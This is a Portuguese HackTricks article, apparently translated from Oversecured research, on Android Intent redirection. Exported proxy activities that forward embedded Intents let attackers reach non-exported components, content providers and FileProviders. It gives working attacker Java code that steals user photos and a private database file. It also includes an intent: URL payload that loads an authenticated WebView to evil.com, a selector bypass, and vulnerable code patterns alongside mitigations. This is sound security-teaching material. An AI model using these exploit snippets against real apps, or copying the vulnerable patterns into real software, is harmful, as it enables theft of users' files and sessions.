mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
264 lines
16 KiB
Markdown
264 lines
16 KiB
Markdown
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
|
||
**Pesquisa retirada de** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||
|
||
# Introdução
|
||
|
||
Esta vulnerabilidade se assemelha ao **Open Redirect em segurança web**. Como a classe `Intent` é `Parcelable`, **objetos pertencentes a esta classe** podem ser **passados** como **dados extras** em outro objeto `Intent`. \
|
||
Muitos desenvolvedores fazem **uso** desta **funcionalidade** e criam **componentes proxy** (atividades, receptores de transmissão e serviços) que **recebem um Intent embutido e o passam para métodos perigosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
||
Isso é perigoso porque **um atacante pode forçar o aplicativo a iniciar um componente não exportado que não pode ser iniciado diretamente de outro aplicativo**, ou conceder ao atacante acesso aos seus provedores de conteúdo. **`WebView`** também às vezes converte uma **URL de uma string para um objeto `Intent`**, usando o método `Intent.parseUri(...)`, e o passa para `startActivity(...)`.
|
||
|
||
{% hint style="info" %}
|
||
Resumindo: Se um atacante pode enviar um Intent que está sendo executado de forma insegura, ele pode potencialmente acessar componentes não exportados e abusar deles.
|
||
{% endhint %}
|
||
|
||
# Um caso típico
|
||
|
||
Vamos examinar um exemplo. Fragmento do arquivo `AndroidManifest.xml`
|
||
```markup
|
||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||
```
|
||
Atividade `ProxyActivity`
|
||
```java
|
||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||
```
|
||
Atividade `AuthWebViewActivity`
|
||
```java
|
||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||
```
|
||
`AuthWebViewActivity` é um exemplo de **funcionalidade oculta do aplicativo que executa certas ações inseguras**, neste caso passando a sessão de autenticação do usuário para uma URL obtida a partir do parâmetro `url`.
|
||
|
||
Restrições de exportação significam que **o atacante não pode acessar `AuthWebViewActivity` diretamente**. Uma chamada direta
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
intent.putExtra("url", "http://evil.com/");
|
||
startActivity(intent);
|
||
```
|
||
lança uma `java.lang.SecurityException`, devido à `Negativa de Permissão`: `AuthWebViewActivity não exportado do uid 1337`.
|
||
|
||
Mas o atacante pode **forçar a vítima a iniciar o `AuthWebViewActivity` por si mesma**:
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
extra.putExtra("url", "http://evil.com/");
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
e nenhuma violação de segurança ocorrerá, porque **o app que está sob ataque tem acesso a todos os seus próprios componentes**. Usando este fragmento de código, o atacante pode contornar as restrições integradas do sistema Android.
|
||
|
||
# Escalada de Impacto
|
||
|
||
Para escalar o impacto desta vulnerabilidade, você precisa **encontrar outras vulnerabilidades/configurações incorretas que possam permitir aumentar o impacto da vulnerabilidade** (já que a vulnerabilidade por si só não está criando riscos).
|
||
|
||
## Escalada de ataques via Content Providers
|
||
|
||
Além do acesso a componentes arbitrários do app original, o **atacante pode tentar obter acesso aos Content Providers do app vulnerável** que satisfaçam as seguintes condições:
|
||
|
||
* ele deve ser **não exportado** (caso contrário, **poderia ser atacado diretamente**, sem usar a vulnerabilidade que estamos discutindo neste artigo)
|
||
* ele deve ter a flag **`android:grantUriPermissions`** definida como **`true`**.
|
||
* `android:grantUriPermissions="true"` indica que seu código Java pode usar `FLAG_GRANT_READ_URI_PERMISSION` e `FLAG_GRANT_WRITE_URI_PERMISSION` para **qualquer `Uri` fornecido por aquele `ContentProvider`**.
|
||
* `android:grantUriPermissions="false"` indica que **apenas os valores de `Uri` especificados pelos elementos filhos `<grant-uri-permission>`** podem ser usados com `FLAG_GRANT_READ_URI_PERMISSION` e `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
||
|
||
O atacante deve se configurar como o destinatário de um intent embutido e definir as seguintes flags
|
||
|
||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite acesso persistente ao provedor (sem esta flag, o acesso é apenas uma vez)
|
||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite acesso ao URI por prefixo – por exemplo, em vez de obter acesso separado repetidamente usando um caminho completo como `content://com.victim.provider/image/1`, o atacante pode conceder acesso a todo o conteúdo do provedor usando o URI `content://com.victim.provider/` e depois usar `ContentResolver` para endereçar `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operações de leitura no provedor (como `query`, `openFile`, `openAssetFile`)
|
||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operações de escrita
|
||
|
||
Um exemplo de um provedor típico onde um atacante pode obter acesso e realizar operações regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
|
||
```markup
|
||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||
```
|
||
Exemplo de roubo de fotos do usuário no arquivo `AndroidManifest.xml`
|
||
```markup
|
||
<activity android:name=".LeakActivity" android:exported="true" />
|
||
```
|
||
Arquivo `MainActivity.java`
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
`LeakActivity.java`
|
||
```java
|
||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||
```
|
||
## Ataques ao Android File Provider
|
||
|
||
Esta vulnerabilidade também possibilita ao atacante **roubar arquivos de aplicativos** localizados em diretórios predeterminados pelo desenvolvedor. Para um ataque bem-sucedido, o aplicativo malicioso precisa **obter direitos de acesso ao Android File Provider e depois ler o conteúdo do provedor de arquivos usando o Android ContentResolver**.
|
||
|
||
Exemplo de provedor de arquivos (para mais detalhes, consulte [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||
```markup
|
||
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||
</provider>
|
||
```
|
||
Ele fornece acesso de leitura/escrita a arquivos em uma lista especial que pode ser encontrada nos recursos do aplicativo, neste caso em `res/xml/provider_paths.xml`
|
||
|
||
Pode parecer algo como
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<paths>
|
||
<root-path name="root" path=""/>
|
||
<files-path name="internal_files" path="."/>
|
||
<cache-path name="cache" path=""/>
|
||
<external-path name="external_files" path="images"/>
|
||
</paths>
|
||
```
|
||
Cada tag especifica um diretório raiz com um valor `path` relativo à raiz. Por exemplo, o valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`
|
||
|
||
O valor `root-path` corresponde a `/`, ou seja, fornece acesso a arquivos arbitrários.
|
||
|
||
Digamos que temos alguns dados secretos armazenados no arquivo `/data/data/com.victim/databases/secret.db`: o roubo deste arquivo pode parecer algo como isto `MainActivity.java`
|
||
```java
|
||
Intent extra = new Intent();
|
||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
intent.putExtra("extra_intent", extra);
|
||
startActivity(intent);
|
||
```
|
||
`LeakActivity.java`
|
||
```java
|
||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||
```
|
||
## Acesso a componentes arbitrários via WebView
|
||
|
||
Um objeto Intent pode ser convertido para uma string com uma chamada a `Intent.toUri(flags)` e de volta de uma string para um Intent usando `Intent.parseUri(stringUri, flags)`. Essa funcionalidade é frequentemente usada no WebView (o navegador embutido do app): **o app pode verificar um esquema `intent://`, analisar a URL em um Intent e iniciar a atividade**.
|
||
|
||
**Essa vulnerabilidade pode ser explorada tanto através de outras vulnerabilidades** (por exemplo, a capacidade de abrir links arbitrários no app no WebView diretamente via atividades exportadas ou por meio do mecanismo de deeplink) no app cliente quanto remotamente, incluindo scripting entre sites no lado do servidor ou MitM no lado do cliente.
|
||
|
||
Exemplo de código vulnerável
|
||
```java
|
||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
Uri uri = request.getUrl();
|
||
if("intent".equals(uri.getScheme())) {
|
||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||
return true;
|
||
}
|
||
return super.shouldOverrideUrlLoading(view, request);
|
||
}
|
||
```
|
||
O ponto aqui é que o método `shouldOverrideUrlLoading(...)` da classe `WebViewClient` é chamado toda vez que o WebView tenta carregar um novo link, mas dá ao aplicativo a opção de adicionar um manipulador personalizado.
|
||
|
||
Para explorar essa vulnerabilidade, o atacante precisa criar um redirecionamento do WebView para uma URL de esquema de intent especialmente preparada. Exemplo de criação de URL
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
intent.putExtra("url", "http://evil.com/");
|
||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||
```
|
||
Exemplo de ataque
|
||
```java
|
||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||
```
|
||
Esta versão contém **várias restrições comparadas à versão clássica** da vulnerabilidade:
|
||
|
||
* Objetos `Parcelable` e `Serializable` embutidos não podem ser convertidos para string (eles serão ignorados)
|
||
* As flags inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` e `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` são **ignoradas** quando `Intent.parseUri(...)` é chamado. O analisador só as deixará se a flag `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`) estiver definida, o que é muito raro
|
||
|
||
Muitos desenvolvedores ainda esquecem de realizar um filtro completo de intents recebidos via WebView
|
||
```java
|
||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
Uri uri = request.getUrl();
|
||
if("intent".equals(uri.getScheme())) {
|
||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||
intent.addCategory("android.intent.category.BROWSABLE");
|
||
intent.setComponent(null);
|
||
startActivity(intent);
|
||
return true;
|
||
}
|
||
return super.shouldOverrideUrlLoading(view, request);
|
||
}
|
||
```
|
||
O atacante pode especificar um componente não exportado por meio de um seletor
|
||
```java
|
||
Intent intent = new Intent();
|
||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||
intent.putExtra("url", "http://evil.com/");
|
||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||
```
|
||
E contornar a proteção do aplicativo contra intents explícitos. Portanto, recomendamos também filtrar o seletor.
|
||
```java
|
||
intent.addCategory("android.intent.category.BROWSABLE");
|
||
intent.setComponent(null);
|
||
intent.setSelector(null);
|
||
```
|
||
Mas mesmo um filtro completo não garante proteção total, porque um atacante pode criar um `intent` implícito correspondente ao `intent-filter` de alguma atividade não exportada. Exemplo de declaração de atividade:
|
||
```markup
|
||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||
<intent-filter>
|
||
<action android:name="android.intent.action.VIEW" />
|
||
<category android:name="android.intent.category.DEFAULT" />
|
||
<data android:scheme="victim" android:host="secure_handler" />
|
||
</intent-filter>
|
||
</activity>
|
||
```
|
||
|
||
```java
|
||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||
```
|
||
Recomendamos, portanto, verificar se uma atividade está exportada antes de ser iniciada.
|
||
|
||
## Outras formas de criar intents inseguros
|
||
|
||
Alguns desenvolvedores de aplicativos implementam seus **próprios analisadores de intents** (muitas vezes para lidar com **deeplinks** ou mensagens push), usando, por exemplo, objetos **JSON**, strings ou arrays de bytes, que ou não diferem do padrão ou representam um grande perigo, pois podem expandir objetos **`Serializable`** e `Parcelable` e também permitem a configuração de flags inseguras. O pesquisador de segurança também pode encontrar versões mais exóticas de criação de intents, como converter um array de bytes em um `Parcel` e depois ler um intent a partir dele.
|
||
```java
|
||
Uri deeplinkUri = getIntent().getData();
|
||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||
Parcel parcel = Parcel.obtain();
|
||
parcel.unmarshall(handle, 0, handle.length);
|
||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||
}
|
||
```
|
||
# Aplicativo Vulnerável
|
||
|
||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|